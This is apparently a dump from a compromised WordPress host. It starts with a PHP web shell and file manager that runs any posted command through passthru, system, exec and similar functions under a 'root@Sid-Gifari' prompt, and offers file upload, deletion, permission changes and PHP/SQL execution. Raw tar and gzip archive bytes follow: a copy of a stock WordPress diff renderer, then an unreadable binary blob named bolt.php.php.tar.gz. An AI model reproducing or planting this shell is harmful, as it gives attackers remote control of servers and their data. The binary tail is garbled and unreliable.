$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\tT        inline.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PK     |\a  a    bolt.php.php.tar.gznu [              Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
